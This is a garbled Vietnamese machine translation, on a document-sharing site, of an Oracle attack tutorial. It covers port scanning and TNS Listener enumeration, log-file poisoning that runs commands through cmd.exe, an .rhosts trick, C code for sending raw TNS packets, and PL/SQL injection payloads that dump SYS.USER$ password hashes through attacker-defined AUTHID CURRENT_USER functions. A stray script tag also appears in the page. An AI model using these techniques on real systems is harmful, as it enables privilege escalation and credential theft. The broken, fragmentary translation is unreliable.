1. Trang chủ
  2. » Công Nghệ Thông Tin

Tìm hiểu về PLSQL và tấn công SQL Injection PLSQL trên Oracle

39 135 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 39
Dung lượng 76,23 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

PL SQL Injection Trong phần này chúng ta thảo luận về PL SQL Injection, một kỹ thuật tấn công quan trọng liên quan đến các thủ tục được lưu trữ trong Oracle. Sử dụng PL SQL Injection, những kẻ tấn công có thể nâng cấp đặc quyền của họ từ tài khoản PUBLIC cấp thấp lên tài khoản có đặc quyền cấp DBA. Kỹ thuật này liên quan đến hầu hết tất cả các phiên bản của Oracle, và có thể được sử dụng để tấn công các thủ tục được lưu trữ tùy chỉnh cũng như các thủ tục được cung cấp cùng với chính Oracle. Chèn vào câu lệnh SELECT Phần này kiểm tra cách đưa vào câu lệnh SELECT. Một ví dụ đơn giản Hãy xem xét mã của thủ tục này và giả sử nó thuộc sở hữu của SYS và có thể được thực thi bởi PUBLIC: CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR ‘SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘’’ || P_OWNER || ‘’’ AND OBJECT_TYPE=’’LIBRARY’’’; LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; Thủ tục này liệt kê tất cả các thư viện thuộc sở hữu của một người dùng nhất định người dùng được hỗ trợ bởi người thực hiện thủ tục. Sau đó, danh sách các thư viện được lặp lại tới thiết bị đầu cuối bằng cách sử dụng DBMS_OUTPUT.PUT_LINE. Thủ tục sẽ được thực thi như sau: SET SERVEROUTPUT ON EXEC SYS.LIST_LIBRARIES (SYS);

Trang 1

Quét các máy chủ Oracle

Việc tìm kiếm một máy chủ cơ sở dữ liệu Oracle trên mạng có thể đạt được hiệu quả tốt nhất bằng cách thực hiện quét cổng TCP, tất nhiên là trừ khi bạn đã biết vị trí của nó Oracle và các quy trình ngoại vi của

nó lắng nghe trên rất nhiều cổng khác nhau, rất có thể một trong số chúng sẽ nằm trên cổng mặc định ngay cả khi hầu hết chúng đều không Danh sách sau đây trình bày chi tiết một số quy trình Oracle phổ biến và những cổng nào chúng có thể được tìm thấy liên quan

Trang 2

Khi máy chủ cơ sở dữ liệu Oracle đã được phát hiện, cổng gọi đầu tiên là TNS Listener Bạn cần lấy một

số thông tin trước khi tiếp tục, chẳng hạn như phiên bản, hệ điều hành và các dịch vụ cơ sở dữ liệu Tiện ích kiểm soát Listener có thể được sử dụng để lấy thông tin này Chạy tiện ích từ một dòng lệnh và là lệnhđầu tiên đặt Trình xử lý bạn muốn kết nối:

TNSLSNR for Windows 32 bit: version 9.2.0.1.0 – Production

TNS for 32-bit windows: version 9.2.0.1.0 – Production

Oracle Bequeath NT protocol adapter for 32bit windows: version 9.2.0.1.0 - Production

Tại đây bạn có thể thấy rằng máy chủ đang chạy trên Windows- dựa trên hệ thống và phiên bản của nó là 9.2.0.1.0 Biết số phiên bản cho phép bạn biết những lỗi nào mà máy chủ sẽ dễ bị tấn công - ở một mức

độ nhất định Một số bản vá lỗi của Oracle không cập nhật số phiên bản trong khi những bản vá lỗi khác thì có Số phiên bản chắc chắn đưa bạn vào đúng công viên bóng Một chút thông tin tiếp theo bạn cần là tên của bất kỳ dịch vụ cơ sở dữ liệu nào đang chạy Bạn nhận được điều này với lệnh dịch vụ

LSNRCTL> services

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))

Services Summary

Service “ORAXP” has 1 instance(s)

Instance “ORAXP”, status UNKNOWN, has 1 handler(s) for this service

Handler(s):

“DEDICATED” established:0 refused:0

LOCAL SERVER Service “PLSExtProc” has 1 instance(s)

Instance “PLSExtProc”, status UNKNOWN, has 1 handler(s) for this service

Handler(s):

“DEDICATED” established:0 refused:0 LOCAL SERVER

Service “oraxp.ngssoftware.com” has 1 instance(s)

Instance “oraxp”, status READY, has 1 handler(s) for this service

Handler(s):

“DEDICATED” established:0 refused:0 state:ready

LOCAL SERVER Service “oraxpXDB.ngssoftware.com” has 1 instance(s)

Instance “oraxp”, status READY, has 1 handler(s) for this service

Handler(s):

Trang 3

“D000” established:0 refused:0 current:0 max:1002 state:ready DISPATCHER (ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=3249)) The command completed successfully

Start Date 11-OCT-2004 00:47:20

Uptime 0 days 0 hr 22 min 31 sec

Listener Parameter File C:\oracle\ora92\network\admin\listener.ora

Listener Log File C:\oracle\ora92\network\log\listener.log

Listening Endpoints Summary (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)

(PIPENAME=\\.\pipe\EXTPROC0ipc))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=1521))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))

(Presentation=HTTP)(Session=RAW)) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100)) (Presentation=FTP)(Session=RAW))

Services Summary

Service “ORAXP” has 1 instance(s)

Instance “ORAXP”, status UNKNOWN, has 1 handler(s) for this service

Service “PLSExtProc” has 1 instance(s)

Instance “PLSExtProc”, status UNKNOWN, has 1 handler(s) for this service

Service “oraxp.ngssoftware.com” has 1 instance(s)

Instance “oraxp”, status READY, has 1 handler(s) for this service

Service “oraxpXDB.ngssoftware.com” has 1 instance(s)

Instance “oraxp”, status READY, has 1 handler(s) for this service

The command completed successfully LSNRCTL>

Trang 4

Từ lệnh trạng thái, bạn có thể thấy một số điều:

1 Phiên bản

2 Hệ điều hành

3 Tính năng theo dõi bị tắt

4 Bảo mật được bật, nghĩa là mật khẩu Trình nghe đã được đặt

5 Đường dẫn đến các tệp nhật ký

6 Điểm cuối bài nghe

7 Cơ sở dữ liệu SIDS, trong trường hợp này là ORAXP

Điều quan trọng là phải biết SID cơ sở dữ liệu vì bạn cần điều này để thực sự kết nối và sử dụng các dịch vụ cơ sở dữ liệu Chúng ta sẽ quay lại vấn đề này sau, bao giờ hết Trước khi điều này, chúng tôi

sẽ xem xét một số cách máy chủ có thể được cài đặt thông qua TNS Listener

Đầu tiên, TNS Listener, tùy thuộc vào phiên bản, có thể dễ bị tấn công bởi một số lỗ hổng tràn bộ đệm có thể bị khai thác mà không có ID người dùng và mật khẩu Ví dụ, Oracle 9i dễ bị tràn khi máy khách yêu cầu tên_dịch vụ quá dài Khi Trình xử lý tạo thông báo lỗi để ghi nhật ký, giá trị service_name được sao chép vào bộ đệm dựa trên ngăn xếp bị tràn - ghi đè địa chỉ trả về đã lưu trên ngăn xếp Điều này cho phép kẻ tấn công giành quyền kiểm soát Trên thực tế, TNS Listener đã phải chịu nhiều luồng định dạng và chuỗi định dạng trong quá khứ Tìm kiếm trên securityfocus.com sẽ cung cấp cho bạn tất cả các chi tiết

Một cuộc tấn công thú vị khác liên quan đến việc đầu độc tệp nhật ký Điều này chỉ hoạt động nếu không có mật khẩu Trình nghe nào được đặt Giả sử một cái chưa được thiết lập, đây là cách cuộc tấn công sẽ diễn ra Sử dụng mã sau, tắt

(CONNECT_DATA = (CMD = log_directory) (ARGUMENTS = 4) (VALUE = c: \\))

Điều này đặt thư mục nhật ký thành C: \

Sau đó tắt

(CONNECT_DATA = (CMD = log_file) (ARGUMENTS = 4) (VALUE = foo.bat))

Điều này đặt tệp nhật ký thành foo.bat

TNS- 01153: Không xử lý được chuỗi: || dir> foo.txt

NL-00303: lỗi cú pháp trong chuỗi NV

Lưu ý dòng thứ ba: TNS-01153: Không xử lý được chuỗi: || dir> foo.txt

Trang 5

Khi tệp hàng loạt này chạy, mỗi dòng được coi như một lệnh, nhưng tất nhiên chúng không và chúng không thực thi Tuy nhiên, do dấu ngoặc kép (||) - lệnh cho Windows Command Interpreter

(cmd.exe) chạy lệnh thứ hai nếu lệnh đầu tiên không thành công - trong dòng thứ ba, dir> foo.txt thực thi

Bằng cách chọn một tệp khác, chẳng hạn như tệp sẽ được thực thi tự động khi hệ thống khởi độnghoặc khi ai đó đăng nhập, lệnh sẽ thực thi và hệ thống có thể bị xâm phạm

Lưu ý rằng các phiên bản Oracle gần đây sẽ thêm log vào cuối tên tệp để cố gắng bảo vệ khỏi điều này Biện pháp bảo vệ tốt hơn là đặt mật khẩu Trình xử lý và cũng bật ADMIN_RESTRICTIONS, nhưng nhiều hơn về điều này sau này Oracle chạy trên các hệ thống dựa trên UNIX cũng có thể bị xâm phạm trong fash-ion này Một cách để thực hiện việc này là echo "+ +" tới tệp rhosts của người dùng Ora- cle và sau đó sử dụng các dịch vụ r * nếu chúng đang chạy

Mã này có thể được sử dụng để gửi các gói tùy ý qua TNS:

int PrintResp(unsigned char *p, int l);

struct sockaddr_in c_sa;

struct sockaddr_in s_sa;

struct hostent *he;

unsigned char TNSPacket[200]=

“\x00\x3A” // Packet length

Trang 7

}

PKT_LEN = packet_length(data); SendTNSPacket();

{ TNSPacket[25]=dl;

TNSPacket[1]=dl+0x3A;

Trang 8

} return dl+hl;

var=0; unsigned int ttlbytes=0;

unsigned int to=2000;

struct sockaddr_in srv_addr,cli_addr;

LPSERVENT srv_info;

LPHOSTENT host_info;

Trang 9

snd=send(cli_sock, TNSPacket , 0x3A , 0);

if(two_packets == 1) snd=send(cli_sock, TNSPacket2 , 10 , 0);

snd=send(cli_sock, data , strlen(data) , 0);

d = c - 16;

printf(“\t”);

Trang 10

while(d < c) { if(p[d] == 0x0A || p[d] == 0x0D) printf(“ “);

Để kết nối với hệ thống từ xa bằng sqlplus, bạn sẽ cần chỉnh sửa tệp tnsnames.ora của mình Bạn

có thể tìm thấy điều này trong thư mục ORACLE_HOME / network / admin Giả sử máy chủ cơ sở dữ liệu có địa chỉ IP là 10.1.1.1, SID cơ sở dữ liệu của ORAXP và lắng nghe trên cổng TCP 1521, bạn nên thêm một mục nhập như sau:

REMOTE =

(DESCRIPTION =

(ADDRESS_LIST = (ADDRESS = (PROTOCOL= TCP)(Host= 10.1.1.1)(Port= 1521))

Trang 11

SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 11 03:09:59 2004

Copyright (c) 1982, 2002, Oracle Corporation All rights reserved

SQL> connect system/manager@remote

Connected

SQL>

Sau khi kết nối với máy chủ cơ sở dữ liệu, bạn có thể muốn nâng cao quyền riêng tư nếu bạn chỉ

có một tài khoản như SCOTT Cách tốt nhất để làm điều này là thông qua khai thác các lỗ hổng trong PL /SQL

Oracle’s PL/SQL

PL / SQL là ngôn ngữ được sử dụng để tạo các thủ tục, hàm, trigger và đối tượng được lưu trữ trong Oracle Nó là viết tắt của Ngôn ngữ thủ tục / SQL và dựa trên ngôn ngữ lập trình ADA PL / SQL là một phần không thể thiếu đối với Oracle, tôi khuyên bạn nên lấy một cuốn sách trên đó và đọc nó, nhưng trong thời gian chờ đợi, đây là một bài học nhanh trong một phút Đây là mã cho "Hello, world!"

CREATE OR REPLACE PROCEDURE HELLO_WORLD AS

Về cơ bản, thủ tục này gọi thủ tục PUT_LINE được định nghĩa trong gói DBMS_OUTPUT Gói

PL / SQL là một tập hợp các thủ tục và hàm (thường) liên quan đến cùng một thứ Ví dụ: chúng tôi có thể tạo một loạt các thủ tục và chức năng để sửa đổi dữ liệu nhân sự trong cơ sở dữ liệu cho phép chúng tôi thêm hoặc giảm nhân viên, tăng lương, v.v Chúng tôi có thể có một thủ tục ADD_EMPLOYEE,

DROP_EMPLOYEE và BUMP_UP_WAGE Thay vì để các thủ tục này chỉ thả nổi tự do, chúng ta có thểtạo một gói xuất các thủ tục này và gọi gói HR Khi thực hiện thủ tục ADD_EMPLOYEE, chúng ta sẽ thực hiện

Trang 12

EXEC HR.ADD_EMPLOYEE ('David');

Nếu gói này được SCOTT xác định và PUBLIC có quyền thực thi để thực thi gói HR, họ có thể làm như vậy bằng cách gọi

EXEC SCOTT HR.ADD_EMPLOYEE ('Sophie');

Vì vậy, sự khác biệt giữa một thủ tục PL / SQL và một hàm là gì? Vâng, một hàm trả về một giá trị trong khi một thủ tục thì không Đây là cách tạo một hàm đơn giản:

CREATE OR REPLACE FUNCTION GET_DATE RETURN VARCHAR2

IS

BEGIN

RETURN SYSDATE;

END;

Hàm này chỉ trả về SYSDATE và có thể được thực thi như sau:

SELECT GET_DATE FROM DUAL;

Không cần phải nói, PL / SQL có thể được sử dụng để tạo các thủ tục có chứa các truy vấn SQL

và hơn thế nữa, nếu PL / SQL không thể thực hiện điều gì đó, bạn có thể mở rộng PL / SQL với các thủ tục bên ngoài - hãy nói thêm về điều này sau |

Được rồi, bài học kết thúc; hãy chuyển sang PL / SQL và bảo mật Khi một thủ tục PL / SQL thựcthi nó sẽ làm như vậy với quyền của người dùng đã xác định thủ tục Điều này có nghĩa là nếu SYS tạo một thủ tục và SCOTT cấp phép nó, thì thủ tục sẽ thực thi với các đặc quyền của SYS Điều này được gọi

là thực thi với quyền định nghĩa Có thể thay đổi hành vi này Nếu bạn muốn quy trình thực thi với quyền của người dùng đang chạy quy trình, bạn có thể thực hiện việc này bằng cách tạo quy trình và sử dụng từ khóa AUTHID CURRENT_USER Ví dụ:

CREATE OR REPLACE PROCEDURE HELLO_WORLD AUTHID CURRENT_USER AS

Một khía cạnh quan trọng khác của PL / SQL là có thể mã hóa bất kỳ thủ tục hoặc chức năng nào bạn tạo Điều này được cho là sẽ ngăn mọi người kiểm tra xem quy trình thực sự hoạt động như thế nào Trong biệt ngữ Oracle, mã hóa này được gọi là gói Đầu tiên, bạn phải nhớ rằng đó là mã hóa - nó có thể

Trang 13

được giải mã và văn bản rõ ràng có thể được truy xuất Thật vậy, hãy đặt điểm ngắt trong phiên gỡ lỗi ở đúng địa chỉ và bạn có thể nhận được văn bản khá dễ dàng Ngay cả khi bạn không làm điều này, bạn vẫn

có thể tìm ra những gì đang xảy ra trong một quy trình mặc dù nó đã được mã hóa Bạn thấy có một bảng tên là ARGUMENT $ trong lược đồ SYS có chứa danh sách các thủ tục và hàm có sẵn trong gói nào và chúng lấy tham số nào Đây là mô tả của bảng:

Trước tiên, bạn cần ID đối tượng của gói DBMS_DESCRIBE - đây là từ Oracle 9.2, tình cờ:

SQL> select object_id,object_type from all_objects where object_name = ‘DBMS_DESCRIBE’;

Trang 14

Bạn có thể thấy ID đối tượng là 3354

Bây giờ bạn lấy nó và liệt kê các thủ tục và chức năng trên DBMS_DESCRIBE:

SQL> select distinct procedure$ from sys.argument$ where obj#=3354

Để nhận danh sách các đối số cho thủ tục DESCRIBE_PROCEDURE, bạn thực thi

SQL> select distinct position#,argument,pls_type from sys.argument$

Trang 15

Nếu PLS_TYPE không được liệt kê thì đó không phải là kiểu dữ liệu PL / SQL chuẩn của bạn Trong trường hợp này, các đối số từ 4 đến 15 thuộc loại NUMBER_TABLE

Bạn có thể thấy bạn có thể bắt đầu lấy thông tin hữu ích về các gói được bọc nhanh như thế nào ngay cả khi nguồn không có sẵn

Tình cờ có một lỗi tràn bộ đệm trong quá trình gói trên máy chủ mà cả Oracle 9i và 10g đều dễ bịtấn công Hiện đã có bản vá nhưng lỗi tràn bộ đệm có thể được kích hoạt bằng cách tạo một thủ tục được bọc với một hằng số quá dài trong đó Điều này có thể được khai thác để giành toàn quyền kiểm soát máy chủ

Vì vậy, trước khi chúng ta tiếp tục, đây là những điểm chính cần nhớ Đầu tiên, theo mặc định, các thủ tục thực thi với quyền của người định nghĩa - nghĩa là, chúng thực thi với quyền riêng của người dùng đã định nghĩa hoặc tạo ra thủ tục Mặc dù điều này có thể hữu ích cho các ứng dụng, nhưng nó sẽ

mở ra một lỗ hổng bảo mật nếu quy trình được mã hóa kém và dễ bị tấn công bởi PL / SQL Injection

PL / SQL Injection

Trong phần này chúng ta thảo luận về PL / SQL Injection, một kỹ thuật tấn công quan trọng liên quan đến các thủ tục được lưu trữ trong Oracle Sử dụng PL / SQL Injection, những kẻ tấn công có thể nâng cấp đặc quyền của họ từ tài khoản PUBLIC cấp thấp lên tài khoản có đặc quyền cấp DBA Kỹ thuật này liên quan đến hầu hết tất cả các phiên bản của Oracle, và có thể được sử dụng để tấn công các thủ tục được lưu trữ tùy chỉnh cũng như các thủ tục được cung cấp cùng với chính Oracle

Chèn vào câu lệnh SELECT

Phần này kiểm tra cách đưa vào câu lệnh SELECT

Một ví dụ đơn giản

Hãy xem xét mã của thủ tục này và giả sử nó thuộc sở hữu của SYS và có thể được thực thi bởi PUBLIC:

CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS

Trang 16

<script>var a = new Image();</script>

Thủ tục này dễ bị chèn SQL Người dùng thực thi quy trình có thể nhập một trích dẫn duy nhất để

"thoát ra" khỏi truy vấn được xác định bằng mã ban đầu và chèn truy vấn bổ sung của riêng mình Vì Oracle không thực hiện các truy vấn hàng loạt như Microsoft SQL Server, nên theo truyền thống, người tatin rằng những kẻ tấn công chỉ có khả năng thực hiện các truy vấn UNION SELECT trong những tình huống như vậy Bạn sẽ thấy rằng đây không phải là trường hợp sớm Tuy nhiên, trước đó, hãy xem cách một UNION SELECT có thể được đưa vào để trả về các băm mật khẩu cho mỗi người dùng được lưu trữ trong bảng SYS.USER $

SET SERVEROUTPUT ON

EXEC SYS.LIST_LIBRARIES(‘FOO’’ UNION SELECT PASSWORD FROM SYS.USER$ ’);

Khi chạy truy vấn này, thay vì truy vấn được xác định bằng mã ban đầu

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘FOO’ AND

OBJECT_TYPE=’LIBRARY’

đang thực thi, thay vào đó thực thi sau:

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘FOO’ ‘UNION SELECT PASSWORD FROM SYS.USER$ ’ AND OBJECT_TYPE=’LIBRARY’

Trang 17

Dấu trừ kép ở cuối biểu thị một nhận xét trong các truy vấn Oracle và loại bỏ hiệu quả AND OBJECT_TYPE =' LIBRARY ' Khi truy vấn chạy, danh sách các băm mật khẩu được xuất ra thiết bị đầu cuối Nếu chúng tôi muốn lấy cả băm mật khẩu và tên người dùng ra, chúng tôi thử

EXEC SYS.LIST_LIBRARIES ('FOO UNION SELECT NAME, PASSWORD FROM

SYS.USER$ -');

Nhưng điều này trả về lỗi:

ORA-01789: khối truy vấn có số cột kết quả không chính xác

ORA-06512: tại "SYS.LIST_LIBRARIES", dòng 6

Chúng tôi có thể tự loại bỏ tên người dùng của họ, giống như chúng tôi đã làm với băm mật khẩu,nhưng không có gì đảm bảo rằng cả hai sẽ khớp nhau (Hàm băm mật khẩu liên quan trực tiếp đến tên người dùng trong Oracle và vì vậy khi bẻ khóa mật khẩu Oracle, điều quan trọng là phải có tên người dùng phù hợp đi cùng với hàm băm phù hợp.) Sau đó, làm thế nào để bạn kết hợp cả hai? Đối với điều này, bạn cần phải tạo một hàm của riêng mình và như bạn sẽ thấy, điều này giải quyết vấn đề Oracle không phân phối các truy vấn

Injecting Attacker-Defined Functions to Overcome Barriers

Vì vậy, chúng tôi có một thủ tục, LIST_LIBRARIES, chúng tôi có thể đưa vào và trả về dữ liệu

từ một cột duy nhất (Nếu bạn không đọc văn bản của phần "Một ví dụ đơn giản" trước đó, tôi khuyên bạnnên làm như vậy, vì vậy tất cả chúng ta đều ở trên cùng một trang.) Tuy nhiên, chúng tôi muốn trả lại dữ liệu từ hai hoặc nhiều hàng hơn nhưng sử dụng UNION SELECT, chúng ta không thể làm điều đó cùng nhau Để làm điều này, chúng ta sẽ tạo một hàm của riêng chúng ta để thực hiện công việc và đưa nó vào thủ tục Giả sử chúng ta muốn lấy USER # (number), NAME (a varchar2) và PASS (a varchar2) từ SYS.USER $, chúng ta có thể tạo hàm sau:

CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER

Trang 18

END LOOP;

CLOSE CV;

RETURN ‘FOO’;

END;

Sau khi được tạo, chúng ta có thể đưa nó vào LIST_LIBRARIES:

EXEC SYS.LIST_LIBRARIES ('FOO’’ || SCOTT.GET_USERS );

cung cấp cho chúng tôi kết quả đầu ra

USER#: 0 NAME SYS PWD 2696A092833AFD9A

USER#: 1 NAME PUBLIC PWD

USER#: 2 NAME CONNECT PWD

USER#: 3 NAME RESOURCE PWD

USER#: 4 NAME DBA PWD

USER#: 5 NAME SYSTEM PWD EED9B65CCECDB2EA

Sử dụng phương pháp này chèn một hàm cũng hữu ích trong những thủ tục mà kết quả của một truy vấn không được xuất ra Lưu ý rằng khi chúng tôi tạo hàm, chúng tôi đã sử dụng từ khóa AUTHID CURRENT_USER Lý do cho điều này là bởi vì nếu chúng ta không làm như vậy, thì hàm, như nó đã được chúng ta định nghĩa, sẽ chạy với các đặc quyền của chúng ta - về cơ bản sẽ mất tất cả các priv DBA mạnh mẽ ngon ngọt đó Bằng cách đặt từ khóa AUTHID CURREN_USER, khi LIST_LIBRARIES giải thích hàm của chúng ta, hàm của chúng ta sẽ giả định hoặc kế thừa các đặc quyền của SYS

Hãy xem xét chức năng sau do SYS sở hữu và định nghĩa Đây không phải là một chức năng thực

sự tồn tại trong RDBMS nhưng giả sử rằng SYS đã tạo ra nó

CREATE OR REPLACE FUNCTION SELECT_COUNT(P_OWNER VARCHAR2) RETURN NUMBER

IS CNT NUMBER;

STMT VARCHAR2(200);

BEGIN

STMT:=’SELECT COUNT(*) FROM ALL_OBJECTS WHERE OWNER=’’’ || P_OWNER || ‘’’’;

EXECUTE IMMEDIATE STMT INTO CNT;

SELECT SYS.SELECT_COUNT ('SYS') FROM DUAL;

để có số lượng đối tượng được liệt kê trong ALL_OBJECT và thuộc sở hữu của người dùng SYS.Hàm này khi được thực thi sẽ chạy với các đặc quyền của SYS Mặc dù nó dễ bị tấn công bởi SQL injection, nhưng một số vấn đề cần được giải quyết trước khi có thể thực hiện được bất cứ điều gì hữu ích

Trang 19

với nó Đầu tiên, hàm trả về một số, vì vậy điều này có nghĩa là chúng ta không thể thực hiện phép chọn liên hợp trên dữ liệu chuỗi:

SELECT SYS.SELECT_COUNT(‘SYS’’ UNION SELECT PASSWORD FROM SYS.USER$ WHERE

NAME=’’SYS’’ ’) FROM DUAL;

Điều này trả về

ORA-01790: biểu thức phải có cùng kiểu dữ liệu với biểu thức tương ứng

Chúng tôi thậm chí không thể thực hiện lựa chọn hợp nhất trên dữ liệu số Đang chạy

SELECT SYS.SELECT COUNT ('SYS UNION SELECT USER # FROM SYSs.USER $ WHERE NAME =' 'SYS' '-') FROM DUAL;

trả về

ORA-01422: tìm nạp chính xác trả về nhiều hơn số hàng được yêu cầu

Vấn đề thứ hai cần được khắc phục là không có gì được phản hồi trở lại thiết bị đầu cuối, vì vậy ngay cả khi chúng ta có thể thực hiện chọn hoặc chọn hợp nhất hợp lý, chúng ta sẽ lấy lại dữ liệu như thế nào? Đang chạy một lựa chọn phụ, ví dụ

SELECT SYS.SELECT_COUNT(‘SYS’’ AND OBJECT_NAME = (SELECT PASSWORD FROM SYS.USER$ WHERE NAME=’’SYS’’) ’) FROM DUAL

chỉ trả về 0

Để giải quyết những vấn đề này, chúng tôi có thể sử dụng lại hàm của chúng ta và sau đó đưa hàm của chúng ta vào hàm SYS dễ bị tấn công Hơn nữa, chúng ta không chỉ giới hạn trong việc chạy mộttruy vấn duy nhất Chúng ta có thể chạy một số SELECTS riêng biệt:

CONNECT SCOTT/TIGER@ORCL

SET SERVEROUTPUT ON

CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS

TYPE C_TYPE IS REF CURSOR;

Ngày đăng: 10/10/2021, 19:03

TỪ KHÓA LIÊN QUAN

w